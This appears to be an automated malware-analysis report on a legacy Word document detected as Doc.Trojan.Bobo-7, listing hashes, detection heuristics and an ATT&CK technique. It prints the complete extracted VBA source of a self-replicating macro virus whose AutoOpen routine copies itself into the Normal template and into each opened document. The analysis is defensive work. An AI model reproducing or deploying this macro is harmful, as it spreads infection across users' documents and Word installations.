Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8589eb1ebc07a05…

MALICIOUS

Office (OLE)

33.0 KB Created: 2000-08-02 14:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: af15fc714767d9104ff4853d3bb72d47 SHA-1: 508f681393ddc0841f1d6811c739158dab5f6249 SHA-256: b8589eb1ebc07a05efbefce78a7798cfd1fea6197957b10ccb5dc7b78ad17fd1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a malicious Office document containing a VBA macro. The AutoOpen macro attempts to copy itself to the NormalTemplate and the active document, likely to ensure persistence across sessions. The ClamAV detection 'Doc.Trojan.Bobo-7' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Bobo-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bobo-7
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1219 bytes
SHA-256: 46df24ca2b43c8681d82e6ad606b8628a360a871df3b7f980aa35dbfb6bddd6b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "macronew"
Sub AutoOpen()
bo = False
For Each sty In NormalTemplate.VBProject.VBComponents
    If sty.Name = "macronew" Then
       bo = True
    End If
Next sty
 If bo = False Then
   m = ActiveDocument.Path
   r = m + "\" + ActiveDocument.Name
   Application.OrganizerCopy Source:=r, _
   Destination:=NormalTemplate, Name:="macronew", _
   Object:=wdOrganizerObjectProjectItems
   NormalTemplate.Save
   If Err.Number <> 0 Then
     Exit Sub
   End If
 End If
 bo = False
For Each sty In ActiveDocument.VBProject.VBComponents
    If sty.Name = "macronew" Then
       bo = True
    End If
Next sty
 If bo = False Then
   m = ActiveDocument.Path
   r = m + "\" + ActiveDocument.Name
   Application.OrganizerCopy Source:=NormalTemplate, _
   Destination:=r, Name:="macronew", _
   Object:=wdOrganizerObjectProjectItems
   ActiveDocument.SaveAs r
   If Err.Number <> 0 Then
     Exit Sub
   End If
 End If
End Sub